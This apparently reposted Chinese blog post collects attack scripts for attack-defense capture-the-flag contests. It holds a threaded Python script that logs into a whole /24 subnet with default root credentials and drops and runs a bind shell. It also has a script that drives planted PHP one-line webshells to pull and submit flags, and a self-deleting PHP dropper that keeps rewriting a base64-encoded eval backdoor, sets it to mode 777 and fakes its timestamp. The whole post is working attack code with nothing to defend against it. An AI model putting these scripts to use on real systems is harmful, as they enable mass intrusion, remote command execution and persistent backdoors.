#-*- coding:utf-8 -*-import paramiko
ip = '192.168.1.137'port = '22'username = 'root'passwd = 'toor'# ssh 用户名 密码 登陆def ssh_base_pwd(ip,port,username,passwd,cmd='ls'):    port = int(port)    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(hostname=ip, port=port, username=username, password=passwd)
    stdin,stdout,stderr = ssh.exec_command(cmd)
    result = stdout.read()    if not result :        print("无结果!")        result = stderr.read()    ssh.close()
    return result.decode()
a = ssh_base_pwd(ip,port,username,passwd)print(a)

#-*- coding:utf-8 -*-import paramikoimport threadingimport queueimport time#反弹shell python
q=queue.Queue()#lock = threading.Lock()
# ssh 用户名 密码 登陆def ssh_base_pwd(ip,port,username,passwd,cmd):    port = int(port)    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(hostname=ip, port=port, username=username, password=passwd)
    stdin,stdout,stderr = ssh.exec_command(cmd)
    result = stdout.read()    if not result :        result = stderr.read()    ssh.close()
    return result.decode()
def main(x):    shell = '''    #服务器端    import socket    import os    s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(('0.0.0.0',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接    s.listen(5)                 #调用listen方法开始监听端口，传入的参数为等待连接的最大数量    con,addr=s.accept()     #接受一个客户端的连接    #print(con,addr)
    for i in range(10):        cmd=con.recv(1024)        print(cmd)        command=cmd.decode()        if command.startswith('cd'):            os.chdir(command[2:].strip())   #切换路径            result=os.getcwd()      #显示路径        else:            result=os.popen(command).read()        if result:            con.send(result.encode())        else:            con.send(b'OK!')    '''    cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py'    port = '22'    username = 'root'    passwd = 'toor'
    ip = '192.168.1.{}'.format(x)    q.put(ip.strip(),block=True, timeout=None)    ip_demo=q.get()    #判断是否成功    try:        #lock.acquire()        res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')        if res:            print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")            #lock.release()            ssh_base_pwd(ip_demo,port,username,passwd,cmd)    except:        print("[ - ]Ip: %s" % ip_demo +" is Failed")    if x > 255:        print("Finshed!!!!!!!!")    q.task_done()
#线程队列部分th=[]th_num=255for x in range(th_num):        t=threading.Thread(target=main,args=(x,))        th.append(t)for x in range(th_num):        th[x].start()for x in range(th_num):        th[x].join()

#q.join()所有任务完成

scp -r -P Port remote_username@remote_ip:remote_folder local_file

#!/usr/bin/python#coding=utf-8import sys,requests,base64,time
#利用一句话木马得到flag
#加载一句话地址的文件def shell_list(filepath):    #格式 http://192.168.174.128/test.php?x=    #返回列表    try :         with open(filepath,encoding='utf-8') as f:            data = f.readlines()            return data    except :         print("File"+filepath+" Not Found!")         sys.exit()
def getflag(filepath):    file = './flag'+str(time.time())[-5:]+'.txt'    #加载shell地址    list = shell_list(filepath)    #访问 执行查看flag命令  linux就是cat    cmd = "type flag.txt"    getflag_cmd ="echo system(\"%s\");"%cmd    for url in list:        url  = url.strip('\r\n') + getflag_cmd        try:            res = requests.get(url=url,timeout=5)        except:            print(url+"[ - ] request timeout [ - ]")        if res.content:            content = str(res.content,'utf-8')            try :             #把得到的flag存到flag文件再批量提交                with open(file,'a',encoding='utf-8') as f:                    f.writelines(content+"\n")            except :                  print("写flag.txt文件失败！！")                 sys.exit()    print("[+] getflag sucessed! flag文件:" +file)    return file
#批量提交flagdef sentflag(filepath,url):    filename = getflag(filepath)#返回存放flag的地址    #读取存放flag文件    with open(filename,'r',encoding='utf-8') as f:        flags = f.readlines()        for flag in flags:            links = url + flag.strip('\n')            try :                 res = requests.get(url=links,timeout=3)                if res.status_code==200 :                    print("[ + ] Send Flag  %s Success [ + ]") % flag            except :                  print("[ - ] Send Flag Failed [ - ]")                 sys.exit()

#第一个参数需要一个存放shell的地址，格式 http://192.168.174.128/test.php?x=    #第二个参数需要提交flag的地址 例如http://1.1.1.1/submit.php?token=xxxx&flag=xxxxxfilepath = './webshell.txt'url = 'http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx'sentflag(filepath,url)

<?php //[email protected]    error_reporting(0);    set_time_limit(0);   //PHP脚本限制了执行时间，set_time_limit(0)设置一个脚本的执行时间为无限长    ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE，则忽略与用户的断开,脚本将继续运行。    unlink(__FILE__);     //删除自身
 $file = '.config.php'; $code = base64_decode('PD9waHAgLy9lcnJvcl9yZXBvcnRpbmcoMCk7ICBpZihtZDUoJF9QT1NUWydwYXNzJ10pPT09JzU5Nzg5ODY1YzVhMTcyNzdmYmYxMWJjNjIzODI4OTYwJykgIEBldmFsKCRfUE9TVFsnY21kJ10pOyAgPz4='); while(true) {     if(md5(file_get_contents($file))!==md5($code)) {         file_put_contents($file, $code);     }     system('chmod 777 .config.php');     touch(".config.php",mktime(20,15,1,11,28,2016));     usleep(100); }?>

来源：卿's Blog、原文链接：https://www.cnblogs.com/-qing-/p/11182162.html#_label0

 热文推荐  

• 蓝队应急响应姿势之Linux
  
• 通过DNSLOG回显验证漏洞
  
• 记一次服务器被种挖矿溯源
  
• 内网渗透初探 | 小白简单学习内网渗透
  
• 实战|通过恶意 pdf 执行 xss 漏洞
  
• 免杀技术有一套（免杀方法大集结）(Anti-AntiVirus)
  
• 内网渗透之内网信息查看常用命令
  
• 关于漏洞的基础知识
  
• 任意账号密码重置的6种方法
  
• 干货 | 横向移动与域控权限维持方法总汇
  
• 手把手教你Linux提权